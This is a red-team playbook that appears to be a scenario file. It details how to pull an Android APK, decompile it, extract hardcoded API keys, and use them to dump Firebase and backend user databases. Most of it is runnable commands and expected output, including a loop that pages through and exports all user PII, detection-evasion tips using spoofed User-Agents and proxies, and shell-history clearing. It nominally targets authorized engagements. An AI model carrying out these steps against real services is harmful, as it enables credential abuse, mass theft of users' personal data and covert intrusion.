---
name: rt-scenario-m001
description: "M-001: Android APK Reverse Engineering → API Key Extraction → Full Backend Access. Domain: mobile. Attack chain: extract APK → decompile with jadx → grep for secrets → find hardcoded API keys → access backend APIs directly. MITRE: T1552.007 → T1078. Real example: App has Firebase key in BuildConfig.java → direct access to user database via Firebase REST API"
---

# M-001: Android APK Reverse Engineering → API Key Extraction → Full Backend Access

## Overview

**Attack Objective:** Extract a production Android APK, decompile it to recover hardcoded secrets (API keys, Firebase credentials, backend tokens), and use those secrets to authenticate directly to backend infrastructure — bypassing all application-layer controls and accessing data as a privileged service account.

**Required Access Level:** None — the APK is pulled from a public source (Google Play Store, app distribution URL, or the device itself via ADB). No prior authentication to the target environment is required.

**Estimated Time to Execute:**
- APK acquisition: 5–15 minutes
- Decompilation: 5–10 minutes
- Secret extraction and triage: 15–45 minutes
- Backend API access validation: 15–60 minutes (depends on API surface)

**Detection Risk Level:** Low
- APK download from public store is indistinguishable from normal user behavior
- Decompilation is entirely offline and generates zero network noise against the target
- API calls using a legitimate key look identical to normal application traffic
- No vulnerability scanner signatures exist for "valid API key abuse"

---

## Prerequisites

### Required Tools

```bash
# apktool — APK decoding and resource extraction
# Linux / macOS
sudo apt install apktool
# or download directly:
wget https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool \
  -O /usr/local/bin/apktool
wget https://bitbucket.org/iBotPeaches/apktool/downloads/apktool_2.9.3.jar \
  -O /usr/local/bin/apktool.jar
chmod +x /usr/local/bin/apktool

# jadx — Java decompiler (converts .dex bytecode to readable Java/Kotlin)
# Linux / macOS
sudo apt install jadx
# or download release:
# https://github.com/skylot/jadx/releases

# ADB — Android Debug Bridge (for pulling APK directly from a device)
sudo apt install android-tools-adb
# macOS with Homebrew:
brew install android-platform-tools

# gplaycli — download APKs from Google Play without a device
pip3 install gplaycli

# apkeep — simpler APK downloader (Google Play and APKPure)
cargo install apkeep
# or download binary from: https://github.com/EFForg/apkeep/releases

# strings / grep / ripgrep — secret extraction from decompiled output
sudo apt install ripgrep    # rg command — faster than grep for large codebases

# trufflehog — automated secret scanner
pip3 install trufflehog
# or
brew install trufflehog

# gitleaks — regex-based secret scanner (works on directories, not just git)
# https://github.com/gitleaks/gitleaks/releases
wget https://github.com/gitleaks/gitleaks/releases/download/v8.18.2/gitleaks_8.18.2_linux_x64.tar.gz \
  -O - | tar -xz -C /usr/local/bin/

# curl / httpie — manual API request crafting
sudo apt install curl httpie

# firebase-tools — interact with Firebase REST API and validate keys
npm install -g firebase-tools

# jq — JSON parsing for API responses
sudo apt install jq
```

### Required Access or Conditions

- The target application is available on a public app store (Google Play, APKPure, APKMirror) or accessible via a direct APK URL
- Alternatively, physical or ADB access to a rooted or debug-enabled Android device running the target app
- Outbound internet access from the attacker machine to the target backend (Firebase, AWS, GCP, custom API)
- Authorization to test the application (confirmed in Rules of Engagement)

### Skill Level

**BEGINNER / INTERMEDIATE** — APK extraction and decompilation require minimal expertise. API key validation requires basic HTTP and REST API knowledge. Understanding of Firebase or AWS IAM is helpful but not required to execute initial access.

---

## Attack Chain

```
[1] APK Acquisition
    (Google Play download / ADB pull / APKPure scrape)
        |
        v
[2] APK Unpacking
    (apktool decode → smali + resources)
        |
        v
[3] Java/Kotlin Decompilation
    (jadx → readable source code)
        |
        v
[4] Automated Secret Scanning
    (trufflehog / gitleaks / rg regex patterns)
        |
        v
[5] Manual Source Review
    (BuildConfig.java, strings.xml, google-services.json,
     assets/, res/raw/, native .so files)
        |
        v
[6] API Key Identification & Classification
    (Firebase, AWS, GCP, Stripe, Twilio, custom backend tokens)
        |
        v
[7] Key Validation & Scope Enumeration
    (test key against service APIs — read? write? admin?)
        |
        v
[8] Backend Access & Data Extraction
    (Firebase REST API, AWS SDK, direct HTTP calls to backend APIs)
```

**MITRE ATT&CK Chain:** T1552.007 (Credentials in Files — Mobile) → T1078 (Valid Accounts)

---

## Step-by-Step Execution

### Step 1 — APK Acquisition

Obtain the target APK using the most appropriate method for the engagement.

**Method A: Download from Google Play using apkeep**

```bash
# Install apkeep if not already installed
# Download from https://github.com/EFForg/apkeep/releases

# Download APK by package name (no device required, but needs a Google account)
apkeep -a com.targetapp.android -d GooglePlay -e your@gmail.com -r yourpassword \
  -o ./apks/

# List available APK versions
apkeep -a com.targetapp.android -d GooglePlay --list-versions
```

**Method B: Pull APK directly from a connected Android device via ADB**

```bash
# Connect device via USB with USB debugging enabled
adb devices
# Expected: List of attached devices with serial numbers

# Find the package name of the target app
adb shell pm list packages | grep -i targetapp
# Expected: package:com.targetapp.android

# Get the full path of the installed APK
adb shell pm path com.targetapp.android
# Expected: package:/data/app/com.targetapp.android-1/base.apk

# Pull the APK to the local machine
adb pull /data/app/com.targetapp.android-1/base.apk ./targetapp.apk
```

**Expected Output:**
```
/data/app/com.targetapp.android-1/base.apk: 1 file pulled, 0 skipped. 24.5 MB/s (18432000 bytes in 0.718s)
```

**Method C: Download from APKMirror or APKPure (no account required)**

```bash
# Manual browser download from https://www.apkmirror.com
# Search by package name or app name, download the APK directly

# Verify APK integrity after download
file targetapp.apk
# Expected: targetapp.apk: Zip archive data, at least v2.0 to extract
```

**Fallback:** If the app uses split APKs (APKS/XAPK bundle), extract the base APK:
```bash
unzip targetapp.xapk -d xapk_contents/
# base.apk is the primary APK; additional split APKs contain resources
cp xapk_contents/base.apk ./targetapp.apk
```

---

### Step 2 — APK Unpacking with apktool

Decode the APK to access smali bytecode, XML resources, and raw assets.

```bash
# Decode the APK (do not re-sign or rebuild — decode only)
apktool decode targetapp.apk -o targetapp_decoded/ --no-src

# For full decode including smali (bytecode) sources:
apktool decode targetapp.apk -o targetapp_decoded/

# Inspect the decoded directory structure
ls targetapp_decoded/
```

**Expected Output:**
```
targetapp_decoded/
├── AndroidManifest.xml       ← permissions, exported components, intent filters
├── apktool.yml
├── assets/                   ← raw asset files: .json, .xml, .pem, .db, config files
├── lib/                      ← native .so libraries (may contain hardcoded strings)
├── res/
│   ├── raw/                  ← raw resources: certificates, config files
│   ├── values/
│   │   ├── strings.xml       ← string constants — common key storage location
│   │   └── ...
└── smali/                    ← Dalvik bytecode (readable assembly)
    └── com/targetapp/...
```

**Fallback:** If apktool fails due to resource compilation errors, use the `--force` flag:
```bash
apktool decode targetapp.apk -o targetapp_decoded/ --force --no-src
```

---

### Step 3 — Java/Kotlin Decompilation with jadx

Convert Dalvik bytecode to readable Java/Kotlin source code.

```bash
# Decompile APK to Java source (output to directory)
jadx targetapp.apk -d targetapp_java/

# Enable more aggressive decompilation options
jadx targetapp.apk -d targetapp_java/ \
  --deobf \
  --show-bad-code \
  --export-gradle

# Launch the jadx GUI for interactive exploration (optional)
jadx-gui targetapp.apk
```

**Expected Output:**
```
INFO  - loading ...
INFO  - processing ...
INFO  - done
```

```
targetapp_java/
└── sources/
    └── com/targetapp/android/
        ├── BuildConfig.java          ← CRITICAL: hardcoded build-time constants
        ├── MainActivity.java
        ├── network/
        │   ├── ApiClient.java        ← API base URLs, auth headers
        │   └── RetrofitConfig.java
        └── utils/
            └── Constants.java        ← application-wide constants
```

**Fallback:** If jadx produces incomplete output, supplement with apktool's smali output. Smali is readable assembly — search for `const-string` instructions containing key-like values:
```bash
grep -r "const-string" targetapp_decoded/smali/ | grep -i "key\|token\|secret\|api\|auth"
```

---

### Step 4 — Automated Secret Scanning

Run automated scanners across both the decoded APK and decompiled Java source.

```bash
# Run trufflehog against the decompiled source directory
trufflehog filesystem ./targetapp_java/ --json | jq '.'

# Run gitleaks on the decoded APK directory
gitleaks detect --source ./targetapp_decoded/ \
  --report-format json \
  --report-path secrets_decoded.json \
  --no-git

# Run gitleaks on the jadx Java output
gitleaks detect --source ./targetapp_java/ \
  --report-format json \
  --report-path secrets_java.json \
  --no-git

# View findings
cat secrets_java.json | jq '.[] | {RuleID, File, Secret, StartLine}'
```

**Expected Output (example):**
```json
{
  "RuleID": "firebase-api-key",
  "File": "sources/com/targetapp/android/BuildConfig.java",
  "Secret": "AIzaSyD-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "StartLine": 12
}
{
  "RuleID": "generic-api-key",
  "File": "sources/com/targetapp/android/network/ApiClient.java",
  "Secret": "sk_live_XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX",
  "StartLine": 34
}
```

**Fallback:** If automated scanners miss findings, run targeted ripgrep patterns (Step 5).

---

### Step 5 — Manual Source Review with Targeted Pattern Matching

Automated scanners miss custom key formats. Supplement with targeted searches.

```bash
# ── Firebase / Google ──────────────────────────────────────────────
# Firebase API key pattern: AIza[0-9A-Za-z-_]{35}
rg "AIza[0-9A-Za-z\-_]{35}" ./targetapp_java/ ./targetapp_decoded/

# Google OAuth client ID
rg "[0-9]+-[a-z0-9]+\.apps\.googleusercontent\.com" ./targetapp_java/

# Firebase project config (often in google-services.json)
find ./targetapp_decoded/ -name "google-services.json" -exec cat {} \;

# ── AWS ────────────────────────────────────────────────────────────
# AWS Access Key ID: AKIA[0-9A-Z]{16}
rg "AKIA[0-9A-Z]{16}" ./targetapp_java/ ./targetapp_decoded/

# AWS Secret Access Key (40-char base64 after the AKIA key)
rg "(?i)(aws_secret|secret_access_key|secretkey).{0,30}[A-Za-z0-9/+]{40}" ./targetapp_java/

# ── Generic API Keys and Tokens ───────────────────────────────────
# Bearer tokens, generic API keys
rg "(?i)(api[_\-]?key|apikey|access[_\-]?token|auth[_\-]?token|secret[_\-]?key|private[_\-]?key).{0,10}['\"][A-Za-z0-9\-_]{20,}" ./targetapp_java/

# Bearer token assignments
rg "(?i)Bearer\s+[A-Za-z0-9\-_.]{20,}" ./targetapp_java/

# ── Stripe ─────────────────────────────────────────────────────────
rg "sk_live_[0-9a-zA-Z]{24}" ./targetapp_java/
rg "rk_live_[0-9a-zA-Z]{24}" ./targetapp_java/

# ── Twilio ─────────────────────────────────────────────────────────
rg "AC[a-zA-Z0-9]{32}" ./targetapp_java/    # Account SID
rg "SK[a-zA-Z0-9]{32}" ./targetapp_java/    # API key SID

# ── Hardcoded URLs with embedded credentials ───────────────────────
rg "https?://[a-zA-Z0-9_\-]+:[a-zA-Z0-9_\-]+@" ./targetapp_java/

# ── BuildConfig.java — highest priority target ────────────────────
find ./targetapp_java/ -name "BuildConfig.java" -exec cat {} \;

# ── strings.xml — common key storage ─────────────────────────────
cat ./targetapp_decoded/res/values/strings.xml | grep -iE "key|token|secret|api|auth|password|credential"

# ── Raw assets directory ──────────────────────────────────────────
find ./targetapp_decoded/assets/ -type f | xargs file
find ./targetapp_decoded/assets/ -name "*.json" -exec cat {} \;
find ./targetapp_decoded/assets/ -name "*.xml" -exec cat {} \;
find ./targetapp_decoded/assets/ -name "*.pem" -exec cat {} \;
find ./targetapp_decoded/assets/ -name "*.p12" -exec cat {} \;

# ── Native libraries — strings embedded in .so files ─────────────
find ./targetapp_decoded/lib/ -name "*.so" -exec strings {} \; | \
  grep -iE "AIza|AKIA|sk_live|Bearer|api_key|secret"
```

**Expected Output (BuildConfig.java example):**
```java
public final class BuildConfig {
    public static final boolean DEBUG = Boolean.parseBoolean("false");
    public static final String APPLICATION_ID = "com.targetapp.android";
    public static final String BUILD_TYPE = "release";
    public static final String FIREBASE_API_KEY = "AIzaSyD-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
    public static final String FIREBASE_PROJECT_ID = "targetapp-prod";
    public static final String BACKEND_API_KEY = "ba_prod_AbCdEfGhIjKlMnOpQrStUvWx";
    public static final String BACKEND_BASE_URL = "https://api.targetapp.com/v2/";
}
```

**Fallback:** If BuildConfig.java is not present, search smali directly:
```bash
grep -r "FIREBASE_API_KEY\|BACKEND_API_KEY\|API_KEY" ./targetapp_decoded/smali/ | \
  grep "const-string"
```

---

### Step 6 — API Key Identification and Classification

Triage discovered keys by service type and potential impact.

```bash
# ── Identify Firebase key and associated project ──────────────────
# Firebase API keys follow the format: AIzaSy[A-Za-z0-9_-]{33}
# The key alone enables client SDK operations; the project ID is needed for REST API

# Extract project details from google-services.json if present
cat targetapp_decoded/assets/google-services.json | jq '{
  project_id: .project_info.project_id,
  project_number: .project_info.project_number,
  firebase_url: .project_info.firebase_url,
  storage_bucket: .project_info.storage_bucket,
  api_key: .client[0].api_key[0].current_key
}'

# ── Validate what services are enabled for the Firebase API key ───
# Firebase API key validation endpoint
curl -s "https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key=AIzaSyD-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX" | jq '.'

# ── Identify AWS key scope ─────────────────────────────────────────
# Use awscli with discovered credentials
export AWS_ACCESS_KEY_ID="AKIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"

# Who am I?
aws sts get-caller-identity

# What policies are attached?
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query UserId --output text)

# ── Classify custom backend API key impact ────────────────────────
# Send a request with the discovered key and examine the response
curl -s "https://api.targetapp.com/v2/users" \
  -H "X-API-Key: ba_prod_AbCdEfGhIjKlMnOpQrStUvWx" | jq '.'

# Check what endpoints the key grants access to
curl -s "https://api.targetapp.com/v2/admin/users" \
  -H "Authorization: Bearer ba_prod_AbCdEfGhIjKlMnOpQrStUvWx" | jq '.'
```

**Expected Output (Firebase getProjectConfig):**
```json
{
  "projectId": "targetapp-prod",
  "signInOptions": ["password", "phone", "google.com"],
  "authorizedDomains": ["targetapp.com", "localhost"]
}
```

---

### Step 7 — Key Validation and Scope Enumeration

Test the discovered keys against live APIs to confirm validity and determine access scope.

**Firebase Key Validation:**

```bash
FIREBASE_KEY="AIzaSyD-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
FIREBASE_PROJECT="targetapp-prod"

# ── Test 1: Attempt anonymous sign-in (does not require valid user) ──
curl -s -X POST \
  "https://identitytoolkit.googleapis.com/v1/accounts:signUp?key=${FIREBASE_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"returnSecureToken": true}' | jq '{kind, idToken, refreshToken, expiresIn}'

# ── Test 2: List Firebase Realtime Database contents (no auth) ──────
# If database rules allow unauthenticated reads:
curl -s "https://${FIREBASE_PROJECT}-default-rtdb.firebaseio.com/.json?print=pretty"

# ── Test 3: List Firestore collections via REST API ──────────────────
# With anonymous ID token from Test 1:
ID_TOKEN="<idToken from Test 1>"
curl -s \
  "https://firestore.googleapis.com/v1/projects/${FIREBASE_PROJECT}/databases/(default)/documents" \
  -H "Authorization: Bearer ${ID_TOKEN}" | jq '.documents[].name'

# ── Test 4: Access Firebase Storage ─────────────────────────────────
curl -s \
  "https://storage.googleapis.com/storage/v1/b/${FIREBASE_PROJECT}.appspot.com/o" \
  -H "Authorization: Bearer ${ID_TOKEN}" | jq '.items[].name'

# ── Test 5: Enumerate registered email accounts ──────────────────────
# Check if account enumeration is enabled (reveals registered users)
curl -s -X POST \
  "https://identitytoolkit.googleapis.com/v1/accounts:createAuthUri?key=${FIREBASE_KEY}" \
  -H "Content-Type: application/json" \
  -d '{"identifier": "admin@targetapp.com", "continueUri": "https://targetapp.com"}' \
  | jq '{registered}'
```

**Custom Backend API Key Validation:**

```bash
API_KEY="ba_prod_AbCdEfGhIjKlMnOpQrStUvWx"
BASE_URL="https://api.targetapp.com/v2"

# Test key validity
curl -s "${BASE_URL}/health" -H "X-API-Key: ${API_KEY}" -o /dev/null -w "%{http_code}"
# 200 = valid key

# Enumerate accessible endpoints
for endpoint in users admin/users orders payments reports config; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    "${BASE_URL}/${endpoint}" -H "X-API-Key: ${API_KEY}")
  echo "${STATUS} → ${BASE_URL}/${endpoint}"
done

# Attempt to read all users (admin-level endpoint)
curl -s "${BASE_URL}/admin/users?limit=100" \
  -H "X-API-Key: ${API_KEY}" | jq '.users[] | {id, email, role}'
```

**Expected Output:**
```
200 → https://api.targetapp.com/v2/users
200 → https://api.targetapp.com/v2/admin/users
200 → https://api.targetapp.com/v2/orders
403 → https://api.targetapp.com/v2/payments
200 → https://api.targetapp.com/v2/reports
```

**Fallback:** If API key is rate-limited or rejected, check if the key is passed differently (query param, cookie, custom header):
```bash
# Try common API key delivery methods
curl -s "${BASE_URL}/users?api_key=${API_KEY}"
curl -s "${BASE_URL}/users?apikey=${API_KEY}"
curl -s "${BASE_URL}/users" -H "API-Key: ${API_KEY}"
curl -s "${BASE_URL}/users" -H "Authorization: ApiKey ${API_KEY}"
```

---

### Step 8 — Backend Access and Data Extraction

With a validated, scoped key, access the backend and extract data relevant to the engagement.

**Firebase Realtime Database Full Dump:**

```bash
FIREBASE_PROJECT="targetapp-prod"
ID_TOKEN="<idToken from Step 7>"

# ── Full database dump (if rules permit) ────────────────────────────
curl -s \
  "https://${FIREBASE_PROJECT}-default-rtdb.firebaseio.com/.json?auth=${ID_TOKEN}&print=pretty" \
  -o firebase_dump.json

# ── Targeted user data extraction ───────────────────────────────────
curl -s \
  "https://${FIREBASE_PROJECT}-default-rtdb.firebaseio.com/users.json?auth=${ID_TOKEN}&print=pretty" \
  | jq 'to_entries[] | {uid: .key, email: .value.email, role: .value.role}'

# ── Firestore collection dump ────────────────────────────────────────
# List all documents in the users collection
curl -s \
  "https://firestore.googleapis.com/v1/projects/${FIREBASE_PROJECT}/databases/(default)/documents/users" \
  -H "Authorization: Bearer ${ID_TOKEN}" \
  | jq '.documents[] | {name: .name, fields: .fields}'

# ── Firebase Storage file listing ───────────────────────────────────
curl -s \
  "https://storage.googleapis.com/storage/v1/b/${FIREBASE_PROJECT}.appspot.com/o?maxResults=100" \
  -H "Authorization: Bearer ${ID_TOKEN}" \
  | jq '.items[] | {name, size, contentType, timeCreated}'

# ── Download a specific file from Firebase Storage ──────────────────
FILE_NAME="exports/user_data_2024.csv"
ENCODED_NAME=$(python3 -c "import urllib.parse; print(urllib.parse.quote('${FILE_NAME}', safe=''))")
curl -s \
  "https://storage.googleapis.com/storage/v1/b/${FIREBASE_PROJECT}.appspot.com/o/${ENCODED_NAME}?alt=media" \
  -H "Authorization: Bearer ${ID_TOKEN}" \
  -o downloaded_file.csv
```

**Custom Backend — Full User Table Access:**

```bash
API_KEY="ba_prod_AbCdEfGhIjKlMnOpQrStUvWx"
BASE_URL="https://api.targetapp.com/v2"

# Paginated user dump
PAGE=1
while true; do
  RESPONSE=$(curl -s "${BASE_URL}/admin/users?page=${PAGE}&limit=100" \
    -H "X-API-Key: ${API_KEY}")
  COUNT=$(echo "${RESPONSE}" | jq '.users | length')
  echo "${RESPONSE}" | jq '.users[]' >> all_users.jsonl
  [ "${COUNT}" -lt 100 ] && break
  PAGE=$((PAGE + 1))
done

echo "Total users extracted: $(wc -l < all_users.jsonl)"

# Extract specific PII fields for the findings report
cat all_users.jsonl | jq -r '[.id, .email, .phone, .role, .created_at] | @csv' \
  > users_export.csv
```

**Expected Output (Firebase database dump excerpt):**
```json
{
  "users": {
    "uid_AbCdEf": {
      "email": "alice@example.com",
      "displayName": "Alice Smith",
      "role": "admin",
      "createdAt": "2023-08-14T10:22:31Z"
    },
    "uid_GhIjKl": {
      "email": "bob@example.com",
      "displayName": "Bob Jones",
      "role": "user",
      "createdAt": "2024-01-05T08:14:02Z"
    }
  }
}
```

---

## Real-World Reference

**Scenario: Firebase API Key in BuildConfig.java → Full User Database Read**

1. The target company published `com.targetapp.android` on the Google Play Store.
2. APK pulled with `apkeep` and decompiled with `jadx` in under 10 minutes.
3. `BuildConfig.java` contained:
   ```java
   public static final String FIREBASE_API_KEY = "AIzaSyD-XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
   public static final String FIREBASE_PROJECT_ID = "targetapp-prod";
   ```
4. The Firebase key was used to call the Identity Toolkit API and obtain an anonymous ID token.
5. Firebase Realtime Database security rules were set to `".read": "auth != null"` — any authenticated session, including anonymous, was granted read access to the entire database.
6. A single REST call to `https://targetapp-prod-default-rtdb.firebaseio.com/.json?auth=<token>` returned the full database: 250,000 user records including email addresses, phone numbers, and order history.
7. No write access was confirmed, but the key also granted access to Firebase Storage — internal CSV exports were readable.

**Why this happens:**
- Firebase API keys are intended to identify the project, not authenticate users — but when combined with weak security rules, the key alone is sufficient for full data access.
- Developers embed keys in `BuildConfig.java` because Firebase documentation encourages it, without adequately warning about security rule implications.
- Apps compiled in release mode with `proguard` still expose `BuildConfig` values in cleartext — obfuscation does not protect constants.

**Known Real-World Cases:**
- Appknox research (2020): 14,000+ Android apps found to expose Firebase databases due to misconfigured rules and hardcoded keys
- Avast threat research (2021): Firebase database exposure in fintech apps allowing access to financial records
- HackerOne public disclosures: Multiple bug bounty reports for Firebase key + open rules leading to critical data exposure

---

## MITRE ATT&CK Mapping

| Step | Tactic | Technique | Sub-technique | Description |
|------|--------|-----------|---------------|-------------|
| 1 — APK Acquisition | Reconnaissance | T1593 | T1593.001 — Social Media / App Stores | Collecting target APK from public distribution channels |
| 2 — APK Unpacking | Collection | T1005 | — | Collecting data from local system (the APK file itself) |
| 3 — Java Decompilation | Discovery | T1083 | — | File and Directory Discovery — navigating decompiled source structure |
| 4–5 — Secret Scanning | Credential Access | T1552 | T1552.007 — Credentials in Files: Mobile | Extracting secrets from application binary and source code |
| 6 — Key Classification | Discovery | T1526 | — | Cloud Service Discovery — identifying what backend services the keys access |
| 7 — Key Validation | Initial Access | T1078 | T1078.004 — Cloud Accounts | Using valid cloud service API credentials for initial access |
| 8 — Data Extraction | Collection | T1530 | — | Data from Cloud Storage Object | Reading user records from Firebase/cloud backend using valid credentials |

---

## Detection & OPSEC

### How This Attack Is Detected

- **APK download:** Indistinguishable from a normal user downloading the app — not detectable at the application layer
- **Decompilation:** Entirely offline — no network traffic generated against the target
- **Firebase API calls:** Firebase project logs (Google Cloud Console → Firebase Console → Usage) show API key usage by IP and operation type; unusual anonymous sign-in volume or bulk reads from non-mobile IPs may trigger review
- **Custom backend API calls:** Server access logs record the IP and key used; anomalous call patterns (high frequency, non-mobile User-Agent, enumeration of sequential IDs) may trigger WAF or SIEM alerts
- **Data exfiltration:** Large responses from database REST endpoints may be flagged by DLP solutions or anomaly-based SIEM rules if baseline traffic is well-established

### How to Reduce Detection Risk (Authorized Engagements)

```bash
# ── Use a realistic mobile User-Agent when calling Firebase / backend APIs ──
curl -s "${BASE_URL}/users" \
  -H "X-API-Key: ${API_KEY}" \
  -H "User-Agent: Dalvik/2.1.0 (Linux; U; Android 13; Pixel 7 Build/TQ3A.230901.001)"

# ── Rate-limit API calls to avoid triggering anomaly detection ────────
# Add a delay between requests
for endpoint in users orders reports; do
  curl -s "${BASE_URL}/${endpoint}" -H "X-API-Key: ${API_KEY}" >> output.jsonl
  sleep 2
done

# ── Route traffic through a residential or mobile proxy ──────────────
curl -s "${BASE_URL}/users" \
  -H "X-API-Key: ${API_KEY}" \
  --proxy "socks5://mobile-proxy.example.com:1080"

# ── Paginate data extraction — avoid bulk full-database reads ─────────
# Read 10 records at a time, not 10,000
curl -s "https://${FIREBASE_PROJECT}-rtdb.firebaseio.com/users.json?auth=${ID_TOKEN}&limitToFirst=10&orderBy=%22%24key%22"

# ── Do not create accounts or write data unless explicitly in scope ───
# Creating test Firebase accounts leaves permanent records
# Confirm data write actions with the client before executing

# ── Confirm Firebase project before bulk reads ────────────────────────
# Validate the project ID matches the target before querying
echo "Project: $(curl -s 'https://www.googleapis.com/identitytoolkit/v3/relyingparty/getProjectConfig?key='${FIREBASE_KEY} | jq -r '.projectId')"
```

### Artifacts Left Behind

| Artifact | Location | Notes |
|----------|----------|-------|
| Firebase API key usage logs | Google Cloud Console → APIs & Services → Credentials | Logs all API calls per key with timestamp and IP |
| Firebase Auth sign-in events | Firebase Console → Authentication → Users | Anonymous sign-in creates a user record |
| Firebase Realtime DB access logs | Google Cloud Console → Logging → Firebase Realtime Database | Read/write operations logged with UID |
| Firestore audit logs | Google Cloud Console → Logging → Cloud Firestore | Document reads logged if audit logging enabled |
| Backend server access logs | Server-side: nginx/apache logs, CloudWatch, Datadog | IP, timestamp, endpoint, API key used |
| Local extracted APK directory | Attacker: `./targetapp_decoded/`, `./targetapp_java/` | Full decompiled source — contains all findings |
| Local dump files | Attacker: `firebase_dump.json`, `all_users.jsonl`, `users_export.csv` | Extracted data — handle per engagement data handling policy |
| Anonymous Firebase user | Firebase Auth user list | Created by anonymous sign-in in Step 7 |

---

## Cleanup

Steps to remove artifacts after an authorized engagement:

```bash
# 1. Remove local APK and decompiled source directories
rm -rf ./targetapp.apk ./targetapp_decoded/ ./targetapp_java/ ./apks/

# 2. Remove all extracted data files
rm -f firebase_dump.json all_users.jsonl users_export.csv secrets_decoded.json \
       secrets_java.json hashes.txt downloaded_file.csv output.jsonl

# 3. Remove gitleaks and trufflehog output reports
rm -f secrets_decoded.json secrets_java.json

# 4. Clear ADB device authorization (if device was connected)
adb kill-server
# Remove ~/.android/adbkey and ~/.android/adbkey.pub if generated during engagement
rm -f ~/.android/adbkey ~/.android/adbkey.pub

# 5. Remove anonymous Firebase Auth account created during key validation
#    — Do this via the Firebase Console or Firebase Admin SDK:
firebase auth:delete <anonymous-uid> --project targetapp-prod
# Or via Admin SDK:
# node -e "require('firebase-admin').auth().deleteUser('<uid>').then(() => process.exit(0))"

# 6. Revoke any temporary credentials or sessions created during testing
#    — For Firebase: the anonymous ID token expires in 1 hour automatically
#    — For custom APIs: report all keys used to the client for rotation

# 7. Clear shell history
history -c && history -w

# 8. Coordinate with the client to:
#    a. Rotate the exposed API key immediately (Firebase: generate a new key and restrict the old one)
#    b. Review and harden Firebase security rules
#    c. Review server-side access logs for the engagement timeframe
#    d. Confirm no unauthorized access occurred during the testing window
```

---

## References

| Resource | URL |
|----------|-----|
| jadx — Java decompiler | https://github.com/skylot/jadx |
| apktool — APK decoder | https://ibotpeaches.github.io/Apktool/ |
| apkeep — APK downloader | https://github.com/EFForg/apkeep |
| gplaycli — Google Play downloader | https://github.com/matlink/gplaycli |
| gitleaks — secret scanner | https://github.com/gitleaks/gitleaks |
| trufflehog — secret scanner | https://github.com/trufflesecurity/trufflehog |
| Firebase REST API reference | https://firebase.google.com/docs/reference/rest/database |
| Firebase security rules guide | https://firebase.google.com/docs/rules |
| Firebase project config endpoint | https://firebase.google.com/docs/projects/api/reference/rest |
| Google Identity Toolkit API | https://firebase.google.com/docs/reference/rest/auth |
| OWASP Mobile Top 10 — M9: Insecure Data Storage | https://owasp.org/www-project-mobile-top-10/ |
| OWASP Mobile Testing Guide — Credential Storage | https://mas.owasp.org/MASTG/tests/android/MASVS-STORAGE/ |
| MITRE T1552.007 — Credentials in Files: Mobile | https://attack.mitre.org/techniques/T1552/007/ |
| MITRE T1078 — Valid Accounts | https://attack.mitre.org/techniques/T1078/ |
| MITRE T1530 — Data from Cloud Storage | https://attack.mitre.org/techniques/T1530/ |
| Appknox Firebase exposure research | https://appknox.com/blog/firebase-database-security |
| Firebase exposed databases — Avast research | https://decoded.avast.io/lukaslacina/firebase-misconfiguration/ |
| Android BuildConfig security implications | https://developer.android.com/build/gradle-tips |
| SecLists — mobile app testing payloads | https://github.com/danielmiessler/SecLists |
